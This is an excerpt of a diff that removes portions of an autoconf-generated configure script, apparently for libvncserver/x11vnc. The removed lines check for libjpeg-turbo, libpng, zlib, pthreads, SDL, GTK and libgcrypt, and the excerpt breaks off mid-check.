- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; };
-
-$as_echo "@%:@define HAVE_LIBJPEG 1" >>confdefs.h
-
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }; HAVE_JPEGLIB_H=""
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
- fi
- if test "x$HAVE_JPEGLIB_H" != "xtrue"; then
- # restore old flags on failure:
- CPPFLAGS="$saved_CPPFLAGS"
- LDFLAGS="$saved_LDFLAGS"
- LIBS="$saved_LIBS"
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** The libjpeg compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libjpeg is in a non-standard location use --with-jpeg=DIR to
-indicate the header file is in DIR/include/jpeglib.h and the library
-in DIR/lib/libjpeg.a. You can also set the JPEG_LDFLAGS variable to
-specify more detailed linker flags. A copy of libjpeg-turbo may be
-obtained from: https://sourceforge.net/projects/libjpeg-turbo/files/
-A copy of libjpeg may be obtained from: http://ijg.org/files/
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** The libjpeg compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libjpeg is in a non-standard location use --with-jpeg=DIR to
-indicate the header file is in DIR/include/jpeglib.h and the library
-in DIR/lib/libjpeg.a. You can also set the JPEG_LDFLAGS variable to
-specify more detailed linker flags. A copy of libjpeg-turbo may be
-obtained from: https://sourceforge.net/projects/libjpeg-turbo/files/
-A copy of libjpeg may be obtained from: http://ijg.org/files/
-==========================================================================
-" >&2;}
- sleep 5
- fi
-
- if test "x$HAVE_JPEGLIB_H" = "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether JPEG library is libjpeg-turbo" >&5
-$as_echo_n "checking whether JPEG library is libjpeg-turbo... " >&6; }
-
- if test "x$cross_compiling" != "xyes"; then
- if test "$cross_compiling" = yes; then :
- { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5
-$as_echo "$as_me: error: in \`$ac_pwd':" >&2;}
-as_fn_error $? "cannot run test program while cross compiling
-See \`config.log' for more details" "$LINENO" 5; }
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <stdio.h>
- #include <jpeglib.h>
-int
-main ()
-{
-struct jpeg_compress_struct cinfo;
- struct jpeg_error_mgr jerr;
- cinfo.err=jpeg_std_error(&jerr);
- jpeg_create_compress(&cinfo);
- cinfo.input_components = 3;
- jpeg_set_defaults(&cinfo);
- cinfo.in_color_space = JCS_EXT_RGB;
- jpeg_default_colorspace(&cinfo);
- return 0;
- ;
- return 0;
-}
-
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- HAVE_LIBJPEG_TURBO="true"; { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
- else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <stdio.h>
- #include <jpeglib.h>
-int
-main ()
-{
-struct jpeg_compress_struct cinfo;
- struct jpeg_error_mgr jerr;
- cinfo.err=jpeg_std_error(&jerr);
- jpeg_create_compress(&cinfo);
- cinfo.input_components = 3;
- jpeg_set_defaults(&cinfo);
- cinfo.in_color_space = JCS_EXT_RGB;
- jpeg_default_colorspace(&cinfo);
- return 0;
- ;
- return 0;
-}
-
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- HAVE_LIBJPEG_TURBO="true"; { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
- fi
- fi
-
- if test "x$HAVE_JPEGLIB_H" = "xtrue" -a "x$HAVE_LIBJPEG_TURBO" != "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** The libjpeg library you are building against is not libjpeg-turbo.
-Performance will be reduced. You can obtain libjpeg-turbo from:
-https://sourceforge.net/projects/libjpeg-turbo/files/ ***
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** The libjpeg library you are building against is not libjpeg-turbo.
-Performance will be reduced. You can obtain libjpeg-turbo from:
-https://sourceforge.net/projects/libjpeg-turbo/files/ ***
-==========================================================================
-" >&2;}
- fi
-
-fi
-
-
-@%:@ Check whether --with-png was given.
-if test "${with_png+set}" = set; then :
- withval=$with_png;
-fi
-
-
-# At this point:
-# no png on command line with_png=""
-# -with-png with_png="yes"
-# -without-png with_png="no"
-# -with-png=/foo/dir with_png="/foo/dir"
-
-if test "x$with_png" != "xno"; then
- if test ! -z "$with_png" -a "x$with_png" != "xyes"; then
- # add user supplied directory to flags:
- saved_CPPFLAGS="$CPPFLAGS"
- saved_LDFLAGS="$LDFLAGS"
- CPPFLAGS="$CPPFLAGS -I$with_png/include"
- LDFLAGS="$LDFLAGS -L$with_png/lib"
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- # this is not complete... in general a rat's nest.
- LDFLAGS="$LDFLAGS -Xlinker -R$with_png/lib"
- else
- LDFLAGS="$LDFLAGS -R$with_png/lib"
- fi
- fi
- ac_fn_c_check_header_mongrel "$LINENO" "png.h" "ac_cv_header_png_h" "$ac_includes_default"
-if test "x$ac_cv_header_png_h" = xyes; then :
- HAVE_PNGLIB_H="true"
-fi
-
-
- if test "x$HAVE_PNGLIB_H" = "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for png_create_write_struct in -lpng" >&5
-$as_echo_n "checking for png_create_write_struct in -lpng... " >&6; }
-if ${ac_cv_lib_png_png_create_write_struct+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lpng $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char png_create_write_struct ();
-int
-main ()
-{
-return png_create_write_struct ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_png_png_create_write_struct=yes
-else
- ac_cv_lib_png_png_create_write_struct=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_png_png_create_write_struct" >&5
-$as_echo "$ac_cv_lib_png_png_create_write_struct" >&6; }
-if test "x$ac_cv_lib_png_png_create_write_struct" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_LIBPNG 1
-_ACEOF
-
- LIBS="-lpng $LIBS"
-
-else
- HAVE_PNGLIB_H=""
-fi
-
- fi
- if test ! -z "$with_png" -a "x$with_png" != "xyes"; then
- if test "x$HAVE_PNGLIB_H" != "xtrue"; then
- # restore old flags on failure:
- CPPFLAGS="$saved_CPPFLAGS"
- LDFLAGS="$saved_LDFLAGS"
- fi
- fi
- if test "$build_x11vnc" = "yes"; then
- if test "x$HAVE_PNGLIB_H" != "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** The libpng compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libpng is in a non-standard location use --with-png=DIR to
-indicate the header file is in DIR/include/png.h and the library
-in DIR/lib/libpng.a. A copy of libpng may be obtained from:
-http://www.libpng.org/pub/png/libpng.html
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** The libpng compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libpng is in a non-standard location use --with-png=DIR to
-indicate the header file is in DIR/include/png.h and the library
-in DIR/lib/libpng.a. A copy of libpng may be obtained from:
-http://www.libpng.org/pub/png/libpng.html
-==========================================================================
-" >&2;}
- sleep 5
- fi
- fi
-fi
-
-
-@%:@ Check whether --with-libz was given.
-if test "${with_libz+set}" = set; then :
- withval=$with_libz;
-fi
-
-
-@%:@ Check whether --with-zlib was given.
-if test "${with_zlib+set}" = set; then :
- withval=$with_zlib;
-fi
-
-
-if test "x$with_zlib" != "xno" -a "x$with_libz" != "xno"; then
- if test ! -z "$with_zlib" -a "x$with_zlib" != "xyes"; then
- saved_CPPFLAGS="$CPPFLAGS"
- saved_LDFLAGS="$LDFLAGS"
- CPPFLAGS="$CPPFLAGS -I$with_zlib/include"
- LDFLAGS="$LDFLAGS -L$with_zlib/lib"
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- LDFLAGS="$LDFLAGS -Xlinker -R$with_zlib/lib"
- else
- LDFLAGS="$LDFLAGS -R$with_zlib/lib"
- fi
- fi
- ac_fn_c_check_header_mongrel "$LINENO" "zlib.h" "ac_cv_header_zlib_h" "$ac_includes_default"
-if test "x$ac_cv_header_zlib_h" = xyes; then :
- HAVE_ZLIB_H="true"
-fi
-
-
- if test "x$HAVE_ZLIB_H" = "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for deflate in -lz" >&5
-$as_echo_n "checking for deflate in -lz... " >&6; }
-if ${ac_cv_lib_z_deflate+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lz $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char deflate ();
-int
-main ()
-{
-return deflate ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_z_deflate=yes
-else
- ac_cv_lib_z_deflate=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_z_deflate" >&5
-$as_echo "$ac_cv_lib_z_deflate" >&6; }
-if test "x$ac_cv_lib_z_deflate" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_LIBZ 1
-_ACEOF
-
- LIBS="-lz $LIBS"
-
-else
- HAVE_ZLIB_H=""
-fi
-
- fi
- if test ! -z "$with_zlib" -a "x$with_zlib" != "xyes"; then
- if test "x$HAVE_ZLIB_H" != "xtrue"; then
- CPPFLAGS="$saved_CPPFLAGS"
- LDFLAGS="$saved_LDFLAGS"
- fi
- fi
- if test "$build_x11vnc" = "yes"; then
- if test "x$HAVE_ZLIB_H" != "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** The libz compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libz is in a non-standard location use --with-zlib=DIR to indicate the
-header file is in DIR/include/zlib.h and the library in DIR/lib/libz.a.
-A copy of libz may be obtained from: http://www.gzip.org/zlib/
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** The libz compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libz is in a non-standard location use --with-zlib=DIR to indicate the
-header file is in DIR/include/zlib.h and the library in DIR/lib/libz.a.
-A copy of libz may be obtained from: http://www.gzip.org/zlib/
-==========================================================================
-" >&2;}
- sleep 5
- fi
- fi
-fi
-
-
-@%:@ Check whether --with-pthread was given.
-if test "${with_pthread+set}" = set; then :
- withval=$with_pthread;
-fi
-
-
-if test "x$with_pthread" != "xno"; then
- ac_fn_c_check_header_mongrel "$LINENO" "pthread.h" "ac_cv_header_pthread_h" "$ac_includes_default"
-if test "x$ac_cv_header_pthread_h" = xyes; then :
- HAVE_PTHREAD_H="true"
-fi
-
-
- if test ! -z "$HAVE_PTHREAD_H"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for pthread_mutex_lock in -lpthread" >&5
-$as_echo_n "checking for pthread_mutex_lock in -lpthread... " >&6; }
-if ${ac_cv_lib_pthread_pthread_mutex_lock+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lpthread $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char pthread_mutex_lock ();
-int
-main ()
-{
-return pthread_mutex_lock ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_pthread_pthread_mutex_lock=yes
-else
- ac_cv_lib_pthread_pthread_mutex_lock=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_pthread_pthread_mutex_lock" >&5
-$as_echo "$ac_cv_lib_pthread_pthread_mutex_lock" >&6; }
-if test "x$ac_cv_lib_pthread_pthread_mutex_lock" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_LIBPTHREAD 1
-_ACEOF
-
- LIBS="-lpthread $LIBS"
-
-fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for pthread_mutex_lock in -lpthread" >&5
-$as_echo_n "checking for pthread_mutex_lock in -lpthread... " >&6; }
-if ${ac_cv_lib_pthread_pthread_mutex_lock+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lpthread $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char pthread_mutex_lock ();
-int
-main ()
-{
-return pthread_mutex_lock ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_pthread_pthread_mutex_lock=yes
-else
- ac_cv_lib_pthread_pthread_mutex_lock=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_pthread_pthread_mutex_lock" >&5
-$as_echo "$ac_cv_lib_pthread_pthread_mutex_lock" >&6; }
-if test "x$ac_cv_lib_pthread_pthread_mutex_lock" = xyes; then :
- HAVE_LIBPTHREAD="true"
-fi
-
- fi
-fi
- if test ! -z "$HAVE_LIBPTHREAD"; then
- HAVE_LIBPTHREAD_TRUE=
- HAVE_LIBPTHREAD_FALSE='#'
-else
- HAVE_LIBPTHREAD_TRUE='#'
- HAVE_LIBPTHREAD_FALSE=
-fi
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for __thread" >&5
-$as_echo_n "checking for __thread... " >&6; }
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-static __thread int p = 0
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-$as_echo "@%:@define HAVE_TLS 1" >>confdefs.h
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-
-# tightvnc-filetransfer implemented using threads:
-if test -z "$HAVE_LIBPTHREAD"; then
- with_tightvnc_filetransfer=""
-fi
-if test "x$with_tightvnc_filetransfer" = "xyes"; then
- $as_echo "@%:@define WITH_TIGHTVNC_FILETRANSFER 1" >>confdefs.h
-
-fi
- if test "$with_tightvnc_filetransfer" = "yes"; then
- WITH_TIGHTVNC_FILETRANSFER_TRUE=
- WITH_TIGHTVNC_FILETRANSFER_FALSE='#'
-else
- WITH_TIGHTVNC_FILETRANSFER_TRUE='#'
- WITH_TIGHTVNC_FILETRANSFER_FALSE=
-fi
-
-
-# websockets implemented using base64 from resolve
-if test "x$HAVE_B64" != "xtrue"; then
- with_websockets=""
-fi
-if test "x$with_websockets" = "xyes"; then
- LIBS="$LIBS -lresolv $SSL_LIBS"
- $as_echo "@%:@define WITH_WEBSOCKETS 1" >>confdefs.h
-
-fi
- if test "$with_websockets" = "yes"; then
- WITH_WEBSOCKETS_TRUE=
- WITH_WEBSOCKETS_FALSE='#'
-else
- WITH_WEBSOCKETS_TRUE='#'
- WITH_WEBSOCKETS_FALSE=
-fi
-
-
- if test ! -z "$HAVE_ZLIB_H"; then
- HAVE_LIBZ_TRUE=
- HAVE_LIBZ_FALSE='#'
-else
- HAVE_LIBZ_TRUE='#'
- HAVE_LIBZ_FALSE=
-fi
-
- if test ! -z "$HAVE_JPEGLIB_H"; then
- HAVE_LIBJPEG_TRUE=
- HAVE_LIBJPEG_FALSE='#'
-else
- HAVE_LIBJPEG_TRUE='#'
- HAVE_LIBJPEG_FALSE=
-fi
-
- if test ! -z "$HAVE_PNGLIB_H"; then
- HAVE_LIBPNG_TRUE=
- HAVE_LIBPNG_FALSE='#'
-else
- HAVE_LIBPNG_TRUE='#'
- HAVE_LIBPNG_FALSE=
-fi
-
-
-
-SDLCONFIG="sdl-config"
-
-@%:@ Check whether --with-sdl-config was given.
-if test "${with_sdl_config+set}" = set; then :
- withval=$with_sdl_config;
- if test "$withval" != "yes" -a "$withval" != ""; then
- SDLCONFIG=$withval
- fi
-
-fi
-
-
-if test -z "$with_sdl"; then
- if $SDLCONFIG --version >/dev/null 2>&1; then
- with_sdl=yes
- SDL_CFLAGS=`$SDLCONFIG --cflags`
- SDL_LIBS=`$SDLCONFIG --libs`
- else
- with_sdl=no
- fi
-fi
- if test "x$with_sdl" = "xyes"; then
- HAVE_LIBSDL_TRUE=
- HAVE_LIBSDL_FALSE='#'
-else
- HAVE_LIBSDL_TRUE='#'
- HAVE_LIBSDL_FALSE=
-fi
-
-
-
-
-
-# Check for GTK+. if present, build the GTK+ vnc viewer example
-
-
-
-
-
-
-
-if test "x$ac_cv_env_PKG_CONFIG_set" != "xset"; then
- if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}pkg-config", so it can be a program name with args.
-set dummy ${ac_tool_prefix}pkg-config; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_path_PKG_CONFIG+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- case $PKG_CONFIG in
- [\\/]* | ?:[\\/]*)
- ac_cv_path_PKG_CONFIG="$PKG_CONFIG" # Let the user override the test with a path.
- ;;
- *)
- as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_path_PKG_CONFIG="$as_dir/$ac_word$ac_exec_ext"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
- ;;
-esac
-fi
-PKG_CONFIG=$ac_cv_path_PKG_CONFIG
-if test -n "$PKG_CONFIG"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $PKG_CONFIG" >&5
-$as_echo "$PKG_CONFIG" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_path_PKG_CONFIG"; then
- ac_pt_PKG_CONFIG=$PKG_CONFIG
- # Extract the first word of "pkg-config", so it can be a program name with args.
-set dummy pkg-config; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_path_ac_pt_PKG_CONFIG+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- case $ac_pt_PKG_CONFIG in
- [\\/]* | ?:[\\/]*)
- ac_cv_path_ac_pt_PKG_CONFIG="$ac_pt_PKG_CONFIG" # Let the user override the test with a path.
- ;;
- *)
- as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_path_ac_pt_PKG_CONFIG="$as_dir/$ac_word$ac_exec_ext"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
- ;;
-esac
-fi
-ac_pt_PKG_CONFIG=$ac_cv_path_ac_pt_PKG_CONFIG
-if test -n "$ac_pt_PKG_CONFIG"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_pt_PKG_CONFIG" >&5
-$as_echo "$ac_pt_PKG_CONFIG" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_pt_PKG_CONFIG" = x; then
- PKG_CONFIG=""
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- PKG_CONFIG=$ac_pt_PKG_CONFIG
- fi
-else
- PKG_CONFIG="$ac_cv_path_PKG_CONFIG"
-fi
-
-fi
-if test -n "$PKG_CONFIG"; then
- _pkg_min_version=0.9.0
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking pkg-config is at least version $_pkg_min_version" >&5
-$as_echo_n "checking pkg-config is at least version $_pkg_min_version... " >&6; }
- if $PKG_CONFIG --atleast-pkgconfig-version $_pkg_min_version; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
- else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
- PKG_CONFIG=""
- fi
-fi
-
-pkg_failed=no
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for GTK" >&5
-$as_echo_n "checking for GTK... " >&6; }
-
-if test -n "$GTK_CFLAGS"; then
- pkg_cv_GTK_CFLAGS="$GTK_CFLAGS"
- elif test -n "$PKG_CONFIG"; then
- if test -n "$PKG_CONFIG" && \
- { { $as_echo "$as_me:${as_lineno-$LINENO}: \$PKG_CONFIG --exists --print-errors \"gtk+-2.0\""; } >&5
- ($PKG_CONFIG --exists --print-errors "gtk+-2.0") 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- pkg_cv_GTK_CFLAGS=`$PKG_CONFIG --cflags "gtk+-2.0" 2>/dev/null`
- test "x$?" != "x0" && pkg_failed=yes
-else
- pkg_failed=yes
-fi
- else
- pkg_failed=untried
-fi
-if test -n "$GTK_LIBS"; then
- pkg_cv_GTK_LIBS="$GTK_LIBS"
- elif test -n "$PKG_CONFIG"; then
- if test -n "$PKG_CONFIG" && \
- { { $as_echo "$as_me:${as_lineno-$LINENO}: \$PKG_CONFIG --exists --print-errors \"gtk+-2.0\""; } >&5
- ($PKG_CONFIG --exists --print-errors "gtk+-2.0") 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- pkg_cv_GTK_LIBS=`$PKG_CONFIG --libs "gtk+-2.0" 2>/dev/null`
- test "x$?" != "x0" && pkg_failed=yes
-else
- pkg_failed=yes
-fi
- else
- pkg_failed=untried
-fi
-
-
-
-if test $pkg_failed = yes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-
-if $PKG_CONFIG --atleast-pkgconfig-version 0.20; then
- _pkg_short_errors_supported=yes
-else
- _pkg_short_errors_supported=no
-fi
- if test $_pkg_short_errors_supported = yes; then
- GTK_PKG_ERRORS=`$PKG_CONFIG --short-errors --print-errors --cflags --libs "gtk+-2.0" 2>&1`
- else
- GTK_PKG_ERRORS=`$PKG_CONFIG --print-errors --cflags --libs "gtk+-2.0" 2>&1`
- fi
- # Put the nasty error message in config.log where it belongs
- echo "$GTK_PKG_ERRORS" >&5
-
- :
-elif test $pkg_failed = untried; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
- :
-else
- GTK_CFLAGS=$pkg_cv_GTK_CFLAGS
- GTK_LIBS=$pkg_cv_GTK_LIBS
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-
-fi
- if test ! -z "$GTK_LIBS"; then
- HAVE_LIBGTK_TRUE=
- HAVE_LIBGTK_FALSE='#'
-else
- HAVE_LIBGTK_TRUE='#'
- HAVE_LIBGTK_FALSE=
-fi
-
-
-
-MINGW=`echo $host_os | grep mingw32 2>/dev/null`
- if test ! -z "$MINGW" ; then
- MINGW_TRUE=
- MINGW_FALSE='#'
-else
- MINGW_TRUE='#'
- MINGW_FALSE=
-fi
-
-if test ! -z "$MINGW"; then
- WSOCKLIB="-lws2_32"
- LDFLAGS="$LDFLAGS -no-undefined"
-fi
-
-
-# Check for libgcrypt
-
-
-@%:@ Check whether --with-gcrypt was given.
-if test "${with_gcrypt+set}" = set; then :
- withval=$with_gcrypt;
-fi
-
-
-@%:@ Check whether --with-client-gcrypt was given.
-if test "${with_client_gcrypt+set}" = set; then :
- withval=$with_client_gcrypt;
-fi
-
-
-if test "x$with_gcrypt" != "xno"; then
-
-@%:@ Check whether --with-libgcrypt-prefix was given.
-if test "${with_libgcrypt_prefix+set}" = set; then :
- withval=$with_libgcrypt_prefix; libgcrypt_config_prefix="$withval"
-else
- libgcrypt_config_prefix=""
-fi
-
- if test x$libgcrypt_config_prefix != x ; then
- if test x${LIBGCRYPT_CONFIG+set} != xset ; then
- LIBGCRYPT_CONFIG=$libgcrypt_config_prefix/bin/libgcrypt-config
- fi
- fi
-
- # Extract the first word of "libgcrypt-config", so it can be a program name with args.
-set dummy libgcrypt-config; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_path_LIBGCRYPT_CONFIG+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- case $LIBGCRYPT_CONFIG in
- [\\/]* | ?:[\\/]*)
- ac_cv_path_LIBGCRYPT_CONFIG="$LIBGCRYPT_CONFIG" # Let the user override the test with a path.
- ;;
- *)
- as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_path_LIBGCRYPT_CONFIG="$as_dir/$ac_word$ac_exec_ext"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
- test -z "$ac_cv_path_LIBGCRYPT_CONFIG" && ac_cv_path_LIBGCRYPT_CONFIG="no"
- ;;
-esac
-fi
-LIBGCRYPT_CONFIG=$ac_cv_path_LIBGCRYPT_CONFIG
-if test -n "$LIBGCRYPT_CONFIG"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $LIBGCRYPT_CONFIG" >&5
-$as_echo "$LIBGCRYPT_CONFIG" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
- tmp=1.4.0
- if echo "$tmp" | grep ':' >/dev/null 2>/dev/null ; then
- req_libgcrypt_api=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\1/'`
- min_libgcrypt_version=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\2/'`
- else
- req_libgcrypt_api=0
- min_libgcrypt_version="$tmp"
- fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for LIBGCRYPT - version >= $min_libgcrypt_version" >&5
-$as_echo_n "checking for LIBGCRYPT - version >= $min_libgcrypt_version... " >&6; }
- ok=no
- if test "$LIBGCRYPT_CONFIG" != "no" ; then
- req_major=`echo $min_libgcrypt_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)/\1/'`
- req_minor=`echo $min_libgcrypt_version | \
